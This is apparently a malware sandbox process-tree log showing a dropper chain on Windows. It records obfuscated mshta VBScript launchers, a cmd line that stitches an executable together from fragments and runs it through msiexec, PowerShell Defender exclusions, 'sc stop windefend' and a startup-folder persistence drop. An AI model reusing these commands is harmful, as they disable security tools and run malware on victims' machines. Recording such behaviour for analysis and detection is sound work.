C:\Users\Admin\AppData\Local\Temp\is-EU10E.tmp\postback.exe"C:\Users\Admin\AppData\Local\Temp\is-EU10E.tmp\postback.exe" ss112⤵PID:1652
-
-
C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe"C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe" ss112⤵PID:6104
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://dateadult-contacts.com/?u=h2dp605&o=lxw09vh13⤵PID:6980
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x108,0x10c,0x110,0xe4,0x114,0x7ff8f7d246f8,0x7ff8f7d24708,0x7ff8f7d2471814⤵PID:4552
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://dateadult-contacts.com/?u=h2dp605&o=lxw09vh13⤵PID:5036
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff8f7d246f8,0x7ff8f7d24708,0x7ff8f7d2471814⤵PID:6168
-
-
-
-
C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe"C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe" /q /norestart12⤵PID:240
-
C:\4755fed63585a5e5606de3924f82d7c2\Setup.exeC:\4755fed63585a5e5606de3924f82d7c2\\Setup.exe /q /norestart /x86 /x64 /web13⤵
- Loads dropped DLL
PID:904
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\inst1.exe"C:\Users\Admin\AppData\Local\Temp\inst1.exe"8⤵PID:3112
-
-
C:\Users\Admin\AppData\Local\Temp\askinstall25.exe"C:\Users\Admin\AppData\Local\Temp\askinstall25.exe"8⤵PID:2084
-
-
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe"8⤵PID:6800
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6800 -s 3009⤵
- Executes dropped EXE
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:5220
-
-
-
C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"8⤵PID:7012
-
-
C:\Users\Admin\AppData\Local\Temp\chrome1.exe"C:\Users\Admin\AppData\Local\Temp\chrome1.exe"8⤵PID:6284
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"9⤵PID:5616
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5616 -s 100010⤵
- Program crash
PID:7932
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\chrome update.exe"C:\Users\Admin\AppData\Local\Temp\chrome update.exe"8⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3176
-
-
C:\Users\Admin\AppData\Local\Temp\chrome2.exe"C:\Users\Admin\AppData\Local\Temp\chrome2.exe"8⤵PID:6876
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 6876 -s 17049⤵
- Program crash
PID:6180
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\WKSn5cOuyoEDNuAtGbjDalqN.exe"C:\Users\Admin\Pictures\Adobe Films\WKSn5cOuyoEDNuAtGbjDalqN.exe"7⤵PID:2400
-
-
C:\Users\Admin\Pictures\Adobe Films\1IW2Co4QdXe8Co0eZ77j1lwE.exe"C:\Users\Admin\Pictures\Adobe Films\1IW2Co4QdXe8Co0eZ77j1lwE.exe"7⤵PID:932
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\1IW2Co4QdXe8Co0eZ77j1lwE.exe"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If """"== """" for %K iN ( ""C:\Users\Admin\Pictures\Adobe Films\1IW2Co4QdXe8Co0eZ77j1lwE.exe"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )8⤵PID:5188
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\Pictures\Adobe Films\1IW2Co4QdXe8Co0eZ77j1lwE.exe" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If ""== "" for %K iN ( "C:\Users\Admin\Pictures\Adobe Films\1IW2Co4QdXe8Co0eZ77j1lwE.exe" ) do taskkill -im "%~NxK" -F9⤵PID:5340
-
C:\Users\Admin\AppData\Local\Temp\8pWB.eXE8pWB.eXe /pO_wtib1KE0hzl7U9_CYP10⤵PID:6316
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If ""/pO_wtib1KE0hzl7U9_CYP ""== """" for %K iN ( ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )11⤵PID:6524
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If "/pO_wtib1KE0hzl7U9_CYP "== "" for %K iN ( "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" ) do taskkill -im "%~NxK" -F12⤵PID:7024
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpT: close (crEaTEOBject ("WSCRIPt.SheLl" ). rUn ("C:\Windows\system32\cmd.exe /c EcHO | seT /p = ""MZ"" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 +HxU0.m + HR0NM.yl + _AECH.7+ ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY " ,0 , TruE ) )11⤵PID:3492
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c EcHO | seT /p = "MZ" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 +HxU0.m + HR0NM.yl+ _AECH.7+ ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY12⤵PID:1360
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" seT /p = "MZ" 1>1AQCPNL9.1"13⤵PID:6600
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHO "13⤵PID:5656
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec.exe -y .\N3V4H8H.SXY13⤵PID:4628
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -im "1IW2Co4QdXe8Co0eZ77j1lwE.exe" -F10⤵
- Kills process with taskkill
PID:6372
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\SJBay3jRx5lhUxhOToe59T2D.exe"C:\Users\Admin\Pictures\Adobe Films\SJBay3jRx5lhUxhOToe59T2D.exe"7⤵PID:4480
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4480 -s 2808⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:7028
-
-
-
C:\Users\Admin\Pictures\Adobe Films\WGDelgZbuws35ZSdcfMj1nAQ.exe"C:\Users\Admin\Pictures\Adobe Films\WGDelgZbuws35ZSdcfMj1nAQ.exe"7⤵
- Loads dropped DLL
PID:5844 -
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=18⤵PID:8024
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--bo6y9QQgnM"9⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4108 -
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x218,0x21c,0x220,0x1f4,0x224,0x7ff8ed70dec0,0x7ff8ed70ded0,0x7ff8ed70dee010⤵PID:6136
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1764,5611515798271652124,9829686095749446144,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4108_333830173" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1840 /prefetch:210⤵PID:912
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1764,5611515798271652124,9829686095749446144,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4108_333830173" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2448 /prefetch:110⤵PID:1060
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1764,5611515798271652124,9829686095749446144,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4108_333830173" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --mojo-platform-channel-handle=2440 /prefetch:110⤵PID:3872
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1764,5611515798271652124,9829686095749446144,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4108_333830173" --mojo-platform-channel-handle=2360 /prefetch:810⤵PID:6988
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1764,5611515798271652124,9829686095749446144,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4108_333830173" --mojo-platform-channel-handle=1888 /prefetch:810⤵PID:1968
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1764,5611515798271652124,9829686095749446144,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4108_333830173" --mojo-platform-channel-handle=2980 /prefetch:810⤵PID:7212
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1764,5611515798271652124,9829686095749446144,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4108_333830173" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3272 /prefetch:210⤵PID:3892
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1764,5611515798271652124,9829686095749446144,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4108_333830173" --mojo-platform-channel-handle=2264 /prefetch:810⤵PID:7680
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1764,5611515798271652124,9829686095749446144,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4108_333830173" --mojo-platform-channel-handle=3712 /prefetch:810⤵PID:7632
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1764,5611515798271652124,9829686095749446144,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4108_333830173" --mojo-platform-channel-handle=900 /prefetch:810⤵PID:6888
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1764,5611515798271652124,9829686095749446144,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4108_333830173" --mojo-platform-channel-handle=3652 /prefetch:810⤵PID:1220
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\yJdBBw31tbQ_kljPsDPD8WtH.exe"C:\Users\Admin\Pictures\Adobe Films\yJdBBw31tbQ_kljPsDPD8WtH.exe"7⤵
- Drops startup file
- Windows security modification
PID:5160 -
C:\Users\Admin\AppData\Local\Temp\e21d39a3-be0b-4901-b5a6-53d72b315097\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\e21d39a3-be0b-4901-b5a6-53d72b315097\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\e21d39a3-be0b-4901-b5a6-53d72b315097\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run8⤵PID:6732
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\e21d39a3-be0b-4901-b5a6-53d72b315097\test.bat"9⤵PID:4492
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV110⤵PID:3112
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\79c0baa2-6b9a-4e13-9930-4bd32181ddf7\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\79c0baa2-6b9a-4e13-9930-4bd32181ddf7\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\79c0baa2-6b9a-4e13-9930-4bd32181ddf7\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run8⤵PID:6588
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\79c0baa2-6b9a-4e13-9930-4bd32181ddf7\test.bat"9⤵PID:6952
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\yJdBBw31tbQ_kljPsDPD8WtH.exe" -Force8⤵PID:480
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\yJdBBw31tbQ_kljPsDPD8WtH.exe" -Force8⤵PID:2784
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\yJdBBw31tbQ_kljPsDPD8WtH.exe" -Force8⤵PID:3432
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force8⤵
- Executes dropped EXE
PID:2400
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force8⤵PID:4276
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\yJdBBw31tbQ_kljPsDPD8WtH.exe" -Force8⤵PID:1012
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe"8⤵PID:7648
-
C:\Users\Admin\AppData\Local\Temp\6e4605d3-ebb6-4d2f-a6f4-69333e745a2f\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\6e4605d3-ebb6-4d2f-a6f4-69333e745a2f\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\6e4605d3-ebb6-4d2f-a6f4-69333e745a2f\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run9⤵PID:7092
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\6e4605d3-ebb6-4d2f-a6f4-69333e745a2f\test.bat"10⤵PID:5644
-
C:\Windows\system32\sc.exesc stop windefend11⤵PID:5204
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\c5a31710-596a-4b3c-9127-d1fc1f533bce\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\c5a31710-596a-4b3c-9127-d1fc1f533bce\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\c5a31710-596a-4b3c-9127-d1fc1f533bce\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run9⤵PID:5344
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\c5a31710-596a-4b3c-9127-d1fc1f533bce\test.bat"10⤵PID:6752
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force9⤵PID:6804
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV110⤵PID:6524
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force9⤵PID:1712
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force9⤵PID:6708
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force9⤵PID:7148
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force9⤵PID:6252
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force9⤵PID:796
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"9⤵
- Suspicious use of AdjustPrivilegeToken
PID:5428
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force8⤵PID:3284
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\yJdBBw31tbQ_kljPsDPD8WtH.exe" -Force8⤵PID:5152
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force8⤵PID:7352
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"8⤵PID:6416
-
-
-
C:\Users\Admin\Pictures\Adobe Films\cK4RdvKTCc6iDm4hfaOW4Fu8.exe"C:\Users\Admin\Pictures\Adobe Films\cK4RdvKTCc6iDm4hfaOW4Fu8.exe"7⤵
- Suspicious use of SetThreadContext
PID:5432 -
C:\Users\Admin\Pictures\Adobe Films\cK4RdvKTCc6iDm4hfaOW4Fu8.exe"C:\Users\Admin\Pictures\Adobe Films\cK4RdvKTCc6iDm4hfaOW4Fu8.exe"8⤵PID:4784
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue1693c6e21a84f1.exe5⤵
- Suspicious use of WriteProcessMemory
PID:2840 -
C:\Users\Admin\AppData\Local\Temp\7zS0C360EA4\Tue1693c6e21a84f1.exeTue1693c6e21a84f1.exe6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4360 -
C:\Users\Admin\AppData\Local\Temp\7zS0C360EA4\Tue1693c6e21a84f1.exeC:\Users\Admin\AppData\Local\Temp\7zS0C360EA4\Tue1693c6e21a84f1.exe7⤵
- Executes dropped EXE
PID:5128
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue16752f37c10e89.exe /mixone5⤵PID:4948
-
C:\Users\Admin\AppData\Local\Temp\7zS0C360EA4\Tue16752f37c10e89.exeTue16752f37c10e89.exe /mixone6⤵
- Executes dropped EXE
PID:4132 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4132 -s 3007⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:5556
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue16937a015b8e.exe5⤵PID:3200
-
C:\Users\Admin\AppData\Local\Temp\7zS0C360EA4\Tue16937a015b8e.exeTue16937a015b8e.exe6⤵
- Executes dropped EXE
PID:4064 -
C:\Users\Admin\AppData\Local\Temp\is-85MK3.tmp\Tue16937a015b8e.tmp"C:\Users\Admin\AppData\Local\Temp\is-85MK3.tmp\Tue16937a015b8e.tmp" /SL5="$20160,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS0C360EA4\Tue16937a015b8e.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2280 -
C:\Users\Admin\AppData\Local\Temp\7zS0C360EA4\Tue16937a015b8e.exe"C:\Users\Admin\AppData\Local\Temp\7zS0C360EA4\Tue16937a015b8e.exe" /SILENT8⤵
- Executes dropped EXE
PID:4596
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue169b8ca3fff9b96f8.exe5⤵
- Suspicious use of WriteProcessMemory
PID:3988 -
C:\Users\Admin\AppData\Local\Temp\7zS0C360EA4\Tue169b8ca3fff9b96f8.exeTue169b8ca3fff9b96f8.exe6⤵
- Executes dropped EXE
PID:3052 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3052 -s 2967⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:6084
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue166a21bf15ecf0.exe5⤵PID:3196
-
C:\Users\Admin\AppData\Local\Temp\7zS0C360EA4\Tue166a21bf15ecf0.exeTue166a21bf15ecf0.exe6⤵
- Executes dropped EXE
PID:648
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue1695d07d02bff8ff.exe5⤵PID:1172
-
C:\Users\Admin\AppData\Local\Temp\7zS0C360EA4\Tue1695d07d02bff8ff.exeTue1695d07d02bff8ff.exe6⤵
- Executes dropped EXE
PID:3684 -
